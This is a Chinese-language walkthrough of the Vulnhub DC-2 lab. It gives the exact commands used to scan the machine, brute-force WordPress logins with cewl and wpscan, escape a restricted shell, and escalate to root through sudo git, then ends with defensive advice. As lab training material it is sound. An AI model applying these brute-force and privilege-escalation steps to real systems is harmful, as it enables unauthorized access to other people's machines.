Vulnhub靶机渗透测试之DC-2-WordPress
字数 1237 2025-08-15 21:33:02
DC-2 WordPress靶机渗透测试教学文档
环境准备
靶机下载与部署
- 靶机下载地址:https://download.vulnhub.com/dc/DC-2.zip
- 解压后得到.ova文件,在VMware中导入
- 靶机默认网络配置为NAT模式
攻击机配置
- 推荐使用Kali Linux作为攻击机
- 确保攻击机和靶机在同一网络段
信息收集阶段
网络扫描
-
使用nmap扫描发现靶机IP:
nmap -sn 192.168.0.0/24发现靶机IP为192.168.0.131
-
详细端口扫描:
nmap -sV -p- 192.168.0.131发现开放端口:
- 80端口:HTTP服务
- 7744端口:SSH服务
DNS解析问题处理
- 访问http://192.168.0.131时URL自动跳转为http://dc-2
- 需要修改hosts文件添加解析:
echo "192.168.0.131 dc-2" | sudo tee -a /etc/hosts
WordPress站点分析
初始发现
- 访问http://dc-2发现是WordPress站点
- 找到第一个flag1,提示:
通常的密码字典可能不起作用,所以也许你只需要cewl。 另外,你可能需要找到一个用户名才能登录。
密码字典生成
使用cewl工具爬取网站生成字典:
cewl http://dc-2/ -w dc-2.txt
检查字典行数:
wc -l dc-2.txt
用户名枚举
使用wpscan扫描WordPress用户:
wpscan --url dc-2 -e u
发现三个用户:
- admin
- jerry
- tom
暴力破解
准备文件
创建用户名单文件dc-2-user.txt:
admin
jerry
tom
执行爆破
wpscan --url http://dc-2/ -U dc-2-user.txt -P dc-2.txt
成功爆破出密码:
- jerry/adipiscing
- tom/parturient
WordPress后台渗透
- 访问后台登录页面:http://dc-2/wp-login.php
- 使用jerry用户登录
- 在Pages部分找到flag2,提示:
如果你不能利用WordPress,还有另一种方法。 希望您找到了其他入口点。
SSH登录尝试
-
尝试使用爆破出的凭据登录SSH(端口7744):
ssh tom@dc-2 -p 7744密码:parturient
-
jerry用户被拒绝SSH登录,只有tom可以登录
绕过受限shell(rbash)
- 登录后发现只有4个命令可用,处于受限shell环境
- 绕过方法:
BASH_CMDS[a]=/bin/sh;a export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin/ - 成功读取flag3:
提示使用su切换到jerry用户Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
用户切换
-
切换到jerry用户:
su jerry密码:adipiscing
-
读取flag4,提示与git相关
Git提权
检查sudo权限
sudo -l
发现jerry可以以root身份无密码执行git命令
提权方法
方法1:
sudo git -p help
!/bin/bash
方法2:
sudo git help config
在末行命令模式输入:
!'sh'
或
!/bin/bash
成功获取root权限和最终flag
知识点总结
-
WordPress渗透:
- 后台登录路径/wp-login.php
- wpscan工具使用
- 用户名枚举和密码爆破
-
密码生成:
- cewl工具使用场景和方法
-
受限shell绕过:
- 环境变量修改技巧
- PATH变量扩展
-
权限提升:
- su命令切换用户
- git的sudo提权方法
-
信息收集:
- nmap扫描技巧
- DNS解析问题处理
参考工具
- nmap - 网络扫描工具
- cewl - 网站内容爬取和字典生成工具
- wpscan - WordPress专用扫描工具
- ssh - 远程登录工具
- git - 版本控制工具(用于提权)
防御建议
- 限制WordPress用户枚举
- 使用强密码策略
- 限制SSH登录用户
- 合理配置sudo权限
- 及时更新WordPress和插件